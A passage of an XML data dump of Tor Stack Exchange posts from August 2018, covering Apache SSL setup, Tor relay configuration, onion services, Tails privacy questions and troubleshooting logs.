/etc/ssl/certs/apache-selfsigned.crt&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Second Create a Diffie-Hellman group&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo openssl dhparam -out /etc/ssl/certs/dhparam.pem 2048&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Configure Apache to Use SSL&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Changes to default-ssl.conf&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ServerAdmin your_email@example.com&#xA;&#xA;ServerName server_domain_or_IP&#xA;&#xA;SSLCertificateFile      /etc/ssl/certs/apache-selfsigned.crt&#xA;&#xA;SSLCertificateKeyFile /etc/ssl/private/apache-selfsigned.key&#xA;&#xA;BrowserMatch &quot;MSIE [2-6]&quot; \&#xA;            nokeepalive ssl-unclean-shutdown \&#xA;            downgrade-1.0 force-response-1.0&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Open the 000-default.conf file and add the following line the VH Block&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Redirect &quot;/&quot; &quot;https://your_domain_or_IP/&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Make changes to the firewall &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo ufw allow 'Apache Full'&#xA;&#xA;sudo ufw delete allow 'Apache'&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Enable the Changes in Apache&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo a2enmod ssl&#xA;&#xA;sudo a2enmod headers&#xA;&#xA;sudo a2ensite default-ssl&#xA;&#xA;sudo a2enconf ssl-params&#xA;&#xA;sudo apache2ctl configtest&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The Global warning can be ignored&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo systemctl restart apache2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Change to a Permanent Redirect&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Redirect permanent &quot;/&quot; &quot;https://your_domain_or_IP/&quot;&#xA;&#xA;sudo apache2ctl configtest&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The Global warning can be ignored&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo systemctl restart apache2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The browser will say that the connection is not secure, because, it isn't signed by one of your browser's trusted certificate authorities, but, it is fine it is still encrypting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just choose advanced and it will send you to your homepage.&lt;/p&gt;&#xA;" OwnerUserId="22756" LastEditorUserId="112" LastEditDate="2018-08-12T09:58:46.487" LastActivityDate="2018-08-12T09:58:46.487" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="17557" PostTypeId="1" AcceptedAnswerId="17566" CreationDate="2018-08-12T11:08:48.193" Score="0" ViewCount="475" Body="&lt;p&gt;First of all sorry for my English.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I had 2 Tor relays and now 1 is gone. I cleared &quot;MyFamily&quot; in torrc, and after some time dead relay disappeared from &quot;Effective Family Members&quot; in Tor Metrics website, but now it's in &quot;Alleged Family Members&quot; and nothing happens to him for a long time. What did i do wrong? How can i clear this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="22617" LastEditorUserId="22617" LastEditDate="2018-08-14T16:27:32.260" LastActivityDate="2018-08-14T16:27:32.260" Title="Tor Relay: Alleged Family Members" Tags="|relays|atlas|myfamily|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17558" PostTypeId="2" ParentId="13211" CreationDate="2018-08-12T17:42:22.073" Score="0" Body="&lt;p&gt;I realize the more recent versions of tor browser already contain the instructions (edit: they are different from the ones given in the tor wiki, which works for tor browser 5.x). For the benefit of other users, I have edited the &lt;a href=&quot;https://trac.torproject.org/projects/tor/wiki/TorBrowserBundleSAQ&quot; rel=&quot;nofollow noreferrer&quot;&gt;tor wiki&lt;/a&gt; (&lt;a href=&quot;http://ea5faa5po25cf7fb.onion/projects/tor/wiki/TorBrowserBundleSAQ&quot; rel=&quot;nofollow noreferrer&quot;&gt;onion&lt;/a&gt;) to include it. To quote it verbatim:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;h1&gt;How do I make Tor Browser 7.x (may work for later versions) use the tor that is already running on the system?&lt;/h1&gt;&#xA;&lt;p&gt;See the section &lt;strong&gt;Using a system-installed Tor process with Tor Browser&lt;/strong&gt; in the file &lt;code&gt;$TB_INST_DIR/Browser/start-tor-browser&lt;/code&gt; where &lt;code&gt;$TB_INST_DIR&lt;/code&gt; is your tor browser installation directory (e.g. &lt;code&gt;tor-browser_en-US&lt;/code&gt;) for instructions. Alternatively, you can view them ​​&lt;a href=&quot;https://gitweb.torproject.org/builders/tor-browser-bundle.git/tree/RelativeLink/start-tor-browser&quot; rel=&quot;nofollow noreferrer&quot;&gt;online&lt;/a&gt; (&lt;a href=&quot;http://jqs44zhtxl2uo6gk.onion/builders/tor-browser-bundle.git/tree/RelativeLink/start-tor-browser&quot; rel=&quot;nofollow noreferrer&quot;&gt;​onion&lt;/a&gt;). Be careful, the online version is on the master branch, which may be too new for your tor browser. When in doubt, follow the one coming with your tor browser.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerDisplayName="user22763" LastEditorUserId="-1" LastEditorDisplayName="user22763" LastEditDate="2020-06-18T08:24:54.133" LastActivityDate="2018-08-12T19:50:51.753" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17559" PostTypeId="2" ParentId="16554" CreationDate="2018-08-12T17:52:16.827" Score="9" Body="&lt;p&gt;As @cacahuatl said you can use that switch, if you want it to be permanent go to &lt;code&gt;/etc/tor/torrc&lt;/code&gt; (This is the path for tor config file in Ubuntu and Debian), open it with your favorite text editor and add &lt;code&gt;HTTPTunnelPort 9080&lt;/code&gt; at the end of the file, reset tor service with this command: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;sudo service tor restart&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;and you're done.&lt;/p&gt;&#xA;" OwnerUserId="22764" LastEditorUserId="24993" LastEditDate="2019-02-21T22:33:59.777" LastActivityDate="2019-02-21T22:33:59.777" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="17561" PostTypeId="2" ParentId="17555" CreationDate="2018-08-13T08:59:12.690" Score="2" Body="&lt;p&gt;An &lt;code&gt;*.onion&lt;/code&gt; site can embed for example an image from a clearweb site &lt;code&gt;*.com&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use Tor Browser to surf normal clearweb sites like CNN.com&lt;/p&gt;&#xA;" OwnerUserId="14832" LastActivityDate="2018-08-13T08:59:12.690" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17566" PostTypeId="2" ParentId="17557" CreationDate="2018-08-13T23:35:40.273" Score="1" Body="&lt;p&gt;It will eventually dissapear on its own. There is nothing you did wrong, and nothing else you can do to remove it on your own.&lt;/p&gt;&#xA;" OwnerUserId="21788" LastActivityDate="2018-08-13T23:35:40.273" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17569" PostTypeId="1" CreationDate="2018-08-14T06:00:35.813" Score="0" ViewCount="650" Body="&lt;p&gt;So I the only way I have access to Internet right now is via my android phone, I am pretty sure it's compromised because the adversary is a bunch of people with high technical knowledge. I tried to wipe the partitions and install a clean rom but this isn't the topic I want to discuss here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I only use Tails os, so all the traffic is encrypted, my concern is can that traffic be intercepted and/or deciphred when it goes through my phone?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I understand the purpose of tor is to encrypt packets sent and received from my machine, how likely is a hacker can read that data and know what websites I'm connecting to?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tails give me peace of mind since it runs on ram and I do not have setup the persistence storage feature so all I'm worried about is the data in the tor browser?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For the sake of simplicity and because I don't have enough details about the type of attack, let's say I install an app like wireshark or similar on my android phone, what type of data can I get?&lt;/p&gt;&#xA;" OwnerUserId="17410" LastActivityDate="2021-12-28T22:07:25.627" Title="Connecting to Tor via infected android phone (hotspot)" Tags="|tails|malware|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17570" PostTypeId="2" ParentId="17025" CreationDate="2018-08-14T09:08:50.403" Score="0" Body="&lt;p&gt;It seems that you compiled the tor yourself, there seems to be some compatibility issues in the libraries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try to instal  pre buit tor from a repository.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For debian based:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; sudo apt install tor&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Also try to update all your libs&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sudo apt update&#xA;sudo apt upgrade&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="10563" LastActivityDate="2018-08-14T09:08:50.403" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17571" PostTypeId="2" ParentId="17195" CreationDate="2018-08-14T18:05:43.500" Score="0" Body="&lt;p&gt;Try turning off just the router leaving only the vpn on&#xA;Then click the exit button to exit app. Wait a few sec then open up the app again it should automaticly start up router with the vpn already still on. Then check debug log if it connects. if not repeat the process a couple more times until it does connect. &lt;/p&gt;&#xA;" OwnerUserId="22789" LastActivityDate="2018-08-14T18:05:43.500" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17572" PostTypeId="2" ParentId="17569" CreationDate="2018-08-14T18:24:33.690" Score="0" Body="&lt;p&gt;All the communication and such are encrypted before leaving tails, so if you sniffed it on the phone you would not see the unencrypted data. Same scenario as if your ISP would sniff data from a regular internet connection from your house while you use tor, or someone on your home network sniffing data while you use it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another attack angle would be malware on the phone that then infects the computer that the phone is plugged into, but that is a different scenario though, and doing that towards tails is very unlikely.&lt;/p&gt;&#xA;" OwnerUserId="112" LastActivityDate="2018-08-14T18:24:33.690" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17577" PostTypeId="1" CreationDate="2018-08-15T11:28:14.930" Score="1" ViewCount="299" Body="&lt;p&gt;The website xvideos.com see your real location ( in left top side the icon of your real locations it's showed ) even with Safest Security Level&#xA;Why ?&lt;/p&gt;&#xA;" OwnerUserId="22800" LastActivityDate="2018-10-07T23:00:11.897" Title="How this website see Real location?" Tags="|tor-browser-bundle|anonymity|deanonymization|website|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="17578" PostTypeId="1" CreationDate="2018-08-15T11:41:24.680" Score="1" ViewCount="183" Body="&lt;p&gt;I know it's dangerous to allow javascript on some website. But very often if you want to register on a website you need to type captcha. If you want to see captcha you need to allow javascript from google and some more google affiliated websites. How dangerous is it ? &lt;/p&gt;&#xA;" OwnerUserId="22801" LastActivityDate="2021-04-22T06:29:19.507" Title="How dangerous is to allow Google javascript?" Tags="|tor-browser-bundle|anonymity|deanonymization|javascript|noscript|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="17580" PostTypeId="1" AcceptedAnswerId="18044" CreationDate="2018-08-16T11:12:21.460" Score="0" ViewCount="728" Body="&lt;p&gt;I have read that entry nodes knows clients ipaddress but how is it possible because tor uses socks proxy to communicate&lt;/p&gt;&#xA;" OwnerUserId="22687" LastActivityDate="2018-11-24T12:43:47.170" Title="Does entry node know the clients ipaddress?" Tags="|socks|torsocks|guard-node|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="17586" PostTypeId="2" ParentId="17398" CreationDate="2018-08-18T16:21:54.783" Score="1" Body="&lt;p&gt;I have the same problem. Did you restart tor or reboot your pi very often before you got all working and up for longer time?&#xA;After i set up my bridge the first time i allways had 1-3 unique clients when i checked the logs.&#xA;But i had some config problems and restarted the system too often, now i dont see unique clients any more. &#xA;I think the auth-servers stop publishing the bridge when its not “stable” compared to others that are up for 4 months or even longer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But as you i am not 100% sure.&lt;/p&gt;&#xA;" OwnerUserId="22822" LastActivityDate="2018-08-18T16:21:54.783" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17587" PostTypeId="1" CreationDate="2018-08-18T19:45:28.827" Score="0" ViewCount="673" Body="&lt;p&gt;I have an account with the Tor-based e-mail provider Mail2Tor. Their hidden service has been down lately; therefore I cannot access my e-mail account either to send or receive e-mail. I have been attempting to write a Perl script designed to connect to the mail server (hidden service) so I can send mail. There are two main problems with my configuration: one, I cannot connect it to the mail hidden service, and two, the instructions I read for creation of a mail client was actually for a locally hosted one, not a remote one.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;The original code: &#xA;#!/usr/bin/perl&#xA;&#xA;use LWP::UserAgent;&#xA;use LWP::Protocol::Socks;&#xA;&#xA;my $url= &quot;&quot;; #your url here&#xA;my $ua = new LWP::UserAgent(agent =&amp;gt; 'perl');&#xA;$ua -&amp;gt; proxy([qw(http https)] =&amp;gt; 'socks://127.0.0.1:9050');&#xA;&#xA;print &quot;To:\n&quot;;&#xA;$to=&amp;lt;STDIN&amp;gt;;&#xA;$from='';#your email here&#xA;print &quot;Subject:\n&quot;;&#xA;$subject=&amp;lt;STDIN&amp;gt;;&#xA;print &quot;Body:\n&quot;;&#xA;$message=&amp;lt;STDIN&amp;gt;;&#xA;&#xA;open(MAIL, &quot;|/usr/sbin/sendmail -t&quot;);&#xA;&#xA;print MAIL &quot;To: $to\n&quot;;&#xA;print MAIL &quot;From: $from\n&quot;;&#xA;print MAIL &quot;Subject: $subject\n\n&quot;;&#xA;print MAIL $message;&#xA;&#xA;close(MAIL);&#xA;print &quot;Email Sent!&quot;;&#xA;exit;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If anyone can help me solve these two problems, I would be quite grateful. &lt;/p&gt;&#xA;" OwnerUserId="22659" LastActivityDate="2021-12-18T08:02:45.247" Title="How to connect to a mail server as a user (through Tor) and send e-mails from a hidden service webmail in perl?" Tags="|email|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="17588" PostTypeId="1" AcceptedAnswerId="17600" CreationDate="2018-08-18T22:20:23.287" Score="0" ViewCount="134" Body="&lt;p&gt;as topic says.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How to configure cherokee web server to handle subdomains on my onion domain?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may be interested about &lt;a href=&quot;https://gist.github.com/mtigas/565718bbb928ce439e95&quot; rel=&quot;nofollow noreferrer&quot;&gt;this&lt;/a&gt; to help me.&lt;/p&gt;&#xA;" OwnerUserId="22824" LastActivityDate="2018-08-22T03:33:49.277" Title="Adding subdomains to cherokee web server over tor as listener" Tags="|configuration|onion-services|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17589" PostTypeId="1" CreationDate="2018-08-19T04:06:46.563" Score="0" ViewCount="99" Body="&lt;p&gt;As I am running 6 relays in different sizes at the moment I asked myself what is better for the Tor network in general:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;1x fast guard relay with 100 Mbits unlimited traffic&lt;/li&gt;&#xA;&lt;li&gt;3x smaller middlerelays that i run with 3 Mbits actually because they have a limit of 2 TB/month&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Costs for both available options are the same!&#xA;On the one hand a fast relay can act as guard and as a middle relay and can have more connections running at the same time.&#xA;But on the other hand many small relays can keep tracking a hard job because there are more possible servers to watch on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is one of the options preferred by the Tor network creators? For me its hard to decide whats better for the whole network.&lt;/p&gt;&#xA;" OwnerUserId="22822" LastEditorUserId="88" LastEditDate="2019-12-19T16:43:10.503" LastActivityDate="2019-12-19T16:43:10.503" Title="1x fast guard relay or 3x smaller middlerelays- what’s better for the network?" Tags="|relays|network-health|fast-relays|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="17590" PostTypeId="2" ParentId="17580" CreationDate="2018-08-19T04:36:02.977" Score="0" Body="&lt;p&gt;I think the socks is needet to be able to connect to tor generally and is created on the users host. So the socks will have the ip address the clients internet connection has.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But whats the problem if the entry sees the ip address? The arrriving traffic is allready encrypted and not readable by the node. Its also passed encryped to the next node. I do not see a reason to worry because of the ip address.&lt;/p&gt;&#xA;" OwnerUserId="22822" LastActivityDate="2018-08-19T04:36:02.977" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="17593" PostTypeId="1" AcceptedAnswerId="17632" CreationDate="2018-08-19T13:27:36.410" Score="1" ViewCount="57" Body="&lt;p&gt;On the metrics page of the Tor network, there are two statistics that caught my eye: There is one dataset on the &lt;a href=&quot;https://metrics.torproject.org/hidserv-rend-relayed-cells.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;Onion-service traffic (both v2 &amp;amp; v3)&lt;/a&gt; and another dataset &lt;a href=&quot;https://metrics.torproject.org/bandwidth-flags.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;listing traffic for guards and exit nodes&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I was wondering if those two datasets are comparable in a sense that one can deduce the relative amount of traffic staying within the Tor network by simple division: &lt;code&gt;(HS traffic/Exit node traffic) = %&lt;/code&gt; of traffic residing within the Tor network (e.g. hits an HS).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is my thinking correct or are those traffic measurements actually not comparable?&lt;/p&gt;&#xA;" OwnerUserId="22831" LastActivityDate="2018-08-28T07:18:01.957" Title="Deduce amount of traffic routed out of the Tor network compared traffic routed to hidden services" Tags="|exit-relays|hsdir|stats|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17594" PostTypeId="1" CreationDate="2018-08-19T15:27:59.643" Score="0" ViewCount="223" Body="&lt;p&gt;8/19/2018 20:53:30 PM.900 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;8/19/2018 20:53:30 PM.900 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;8/19/2018 20:53:30 PM.900 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;8/19/2018 20:53:30 PM.900 [NOTICE] Opening Socks listener on 127.0.0.1:9150 &#xA;8/19/2018 20:53:31 PM.700 [NOTICE] Bootstrapped 5%: Connecting to directory server &#xA;8/19/2018 20:54:39 PM.000 [NOTICE] Bootstrapped 10%: Finishing handshake with directory server &#xA;8/19/2018 20:54:39 PM.800 [WARN] Problem bootstrapping. Stuck at 10%: Finishing handshake with directory server. (DONE; DONE; count 10; recommendation warn; host 3E53D3979DB07EFD736661C934A1DED14127B684 at 217.79.179.177:9001) &#xA;8/19/2018 20:54:39 PM.800 [WARN] 10 connections have failed: &#xA;8/19/2018 20:54:39 PM.800 [WARN]  9 connections died in state connect()ing with SSL state (No SSL object) &#xA;8/19/2018 20:54:39 PM.800 [WARN]  1 connections died in state handshaking (TLS) with SSL state SSLv2/v3 read server hello A in HANDSHAKE &#xA;8/19/2018 20:54:39 PM.900 [NOTICE] Closing no-longer-configured Socks listener on 127.0.0.1:9150 &#xA;8/19/2018 20:54:39 PM.900 [NOTICE] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections. &#xA;8/19/2018 20:54:39 PM.900 [NOTICE] Closing old Socks listener on 127.0.0.1:9150 &#xA;8/19/2018 20:54:40 PM.800 [NOTICE] Delaying directory fetches: DisableNetwork is set. &lt;/p&gt;&#xA;" OwnerUserId="22832" LastActivityDate="2018-08-26T05:50:52.087" Title="Tor browser issue even though time is synchronized" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17598" PostTypeId="1" CreationDate="2018-08-21T13:51:44.463" Score="4" ViewCount="554" Body="&lt;p&gt;I'm not clear on what is actually stored in the DHT, or the contents and purpose of the introduction message.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If all of the hidden services are listed in a Distributed Hash Table, what prevents a modified client from directly connecting to a HSP, or enumerating the *.onion addresses?&lt;/p&gt;&#xA;" OwnerUserId="247" LastActivityDate="2019-04-22T02:02:40.827" Title="What prevents someone from listing all the HSP's in the DHT and connecting to them?" Tags="|onion-services|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17599" PostTypeId="2" ParentId="17580" CreationDate="2018-08-21T17:14:04.957" Score="0" Body="&lt;p&gt;&lt;em&gt;this question indicates that you should do some more research &amp;amp; reading to understand and use Tor safely.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;to make it clear in very easy (non-techy) words:&lt;br&gt;&#xA;&lt;a href=&quot;https://www.torproject.org/docs/faq.html.en#IsTorLikeAVPN&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor is NOT a type of connection (like VPNs)&lt;/a&gt;, it is more like a proxy. so if you use Tor on a not prepared OS with not prepared programs (which is NOT recommended), you need to specify where the traffic should go... this is the point where socks comes in. you can configure every program which supports socks to rout its (TCP) traffic through Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;for using Tor more safely &lt;a href=&quot;https://tor.stackexchange.com/a/17458/5234&quot;&gt;this answer (especially its 2nd part)&lt;/a&gt; may be also useful for you.&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="5234" LastEditorUserId="5234" LastEditDate="2018-11-24T12:43:47.170" LastActivityDate="2018-11-24T12:43:47.170" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17600" PostTypeId="2" ParentId="17588" CreationDate="2018-08-22T03:33:49.277" Score="0" Body="&lt;p&gt;Solved!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In &lt;code&gt;Vservers&lt;/code&gt; tab (between &lt;code&gt;General&lt;/code&gt; and &lt;code&gt;Sources&lt;/code&gt; tabs) I choosed small &quot;plus&quot; button (under cherokee's logo), then I clicked &lt;code&gt;Redirect to other page&lt;/code&gt; for example, next called my subdomain test.xxxxyyyyzzzz.onion, created &lt;code&gt;phpinfo()&lt;/code&gt; in &lt;code&gt;index.php&lt;/code&gt;, and it works!&lt;/p&gt;&#xA;" OwnerUserId="22824" LastActivityDate="2018-08-22T03:33:49.277" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17601" PostTypeId="2" ParentId="17598" CreationDate="2018-08-22T11:07:58.037" Score="2" Body="&lt;p&gt;A hash table contains public keys of the hidden services, not actual IP addresses. The public key is used to create a request for the hidden service and the hidden service is the only one with the private key to decrypt the request. From the &lt;a href=&quot;https://www.torproject.org/docs/onion-services&quot; rel=&quot;nofollow noreferrer&quot;&gt;tor website&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Step four: When the descriptor is present and the rendezvous point is ready, the client assembles an introduce message (encrypted to the onion service's public key) including the address of the rendezvous point and the one-time secret. The client sends this message to one of the introduction points, requesting it be delivered to the onion service. Again, communication takes place via a Tor circuit: nobody can relate sending the introduce message to the client's IP address, so the client remains anonymous. &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Hidden services are never connected to directly by clients. The service will check for requests from its introduction nodes and respond to those nodes, which will respond to the rendezvous node where the client is connected to. All the communication between client and hidden service is happening on this rendezvous node so that both sides see this node as the endpoint. Only exit nodes can see clearnet requests (requests to regular websites outside of the onion network) and even they don't know who is making the requests since there are multiple nodes and a rendezvous between them and the client.&lt;/p&gt;&#xA;" OwnerUserId="22804" LastActivityDate="2018-08-22T11:07:58.037" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17603" PostTypeId="2" ParentId="4672" CreationDate="2018-08-24T21:54:38.823" Score="2" Body="&lt;p&gt;Did you install Tails from the first Tails USB media into the second USB media?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As of August 2018, Tails requires 2 USB media in order to end up with a secure installation.&#xA;With the first USB medium you can boot a minimal Tails system which works &quot;ok&quot; but has several limitations and is a bit relaxed about some security settings. &#xA;So from there you need to run the installer which will install the final Tails on the second USB medium.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope it's clear. Anyway if you read the installation guide carefully, everything is explained with excellent detail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope it helps, cheers!&lt;/p&gt;&#xA;" OwnerUserId="22859" LastEditorUserId="22859" LastEditDate="2019-12-10T08:03:40.273" LastActivityDate="2019-12-10T08:03:40.273" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17604" PostTypeId="2" ParentId="17598" CreationDate="2018-08-24T22:00:44.493" Score="1" Body="&lt;p&gt;Hidden service directory can enumerate its own share of DHT containing v2 hidden service descriptors. It is not possible for v3 onion services.&lt;/p&gt;&#xA;" OwnerUserId="22654" LastActivityDate="2018-08-24T22:00:44.493" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17605" PostTypeId="2" ParentId="15387" CreationDate="2018-08-25T03:33:16.503" Score="0" Body="&lt;p&gt;I experienced the same situation on my Android phone. Orbot couldn't get connected by turning on Bridges, but could get connected without Bridges. However, the overall success rate getting orbot connected is less than 10%.&#xA;What amazing is, I could always get connected with Tor Browser on my PC or Mac within 30 seconds, buy using Meek bridges. &lt;/p&gt;&#xA;" OwnerUserId="22853" LastActivityDate="2018-08-25T03:33:16.503" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17606" PostTypeId="1" CreationDate="2018-08-25T15:56:35.907" Score="0" ViewCount="393" Body="&lt;p&gt;I connected my laptop to the home network and got a popup of ip-conflict issue; i neglected it and opened Tor browser.. and my sister using her laptop ordered some stuff on amazon using chrome..now &lt;strong&gt;&lt;em&gt;both of our devices had same ip address&lt;/em&gt;&lt;/strong&gt;..Is this a problem,,did her amazon order request went through tor relay..Im really worried..&lt;/p&gt;&#xA;" OwnerUserId="22858" LastActivityDate="2019-04-23T06:01:30.227" Title="Two devices with same ip address, will using Tor Browser on one device affect the other device?" Tags="|tor-browser-bundle|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17607" PostTypeId="1" CreationDate="2018-08-25T17:21:17.973" Score="1" ViewCount="247" Body="&lt;p&gt;for some months now, every attempt to view a youtube video causes the &quot;an error occurred&quot; screen shown in capture1.jpg. Left mouse click in that window provokes the dialog shown in capture2.jpg. Clicking OK in that dialog takes you back to step 1. You must go through this process twice, and then the video will play. I would like to go thru this process zero (!) times. Any help appreciated.&#xA;Windows 7 home prem SP1&#xA;Tor Browser 7.5.6&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you. &lt;a href=&quot;https://i.stack.imgur.com/YATF5.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/YATF5.jpg&quot; alt=&quot;capture1&quot;&gt;&lt;/a&gt;  &lt;a href=&quot;https://i.stack.imgur.com/lGNN9.jpg&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/lGNN9.jpg&quot; alt=&quot;capture2&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13510" LastActivityDate="2019-08-25T04:04:25.910" Title="&quot;An error occurred&quot; - always when trying to view YouTube video" Tags="|troubleshooting|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="17608" PostTypeId="1" CreationDate="2018-08-25T20:17:24.073" Score="1" ViewCount="161" Body="&lt;p&gt;I recently created a hidden service to host a personal site of mine. It runs Ubuntu with nginx as webserver.... last night it was working perfectly, yet today it refuses to connect to the hidden service. I'm not sure why this is, as both Nginx and Tor are running with no error messages. &lt;/p&gt;&#xA;" OwnerUserId="22659" LastActivityDate="2022-04-08T16:03:00.253" Title="Hidden service won't connect" Tags="|configuration|server|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
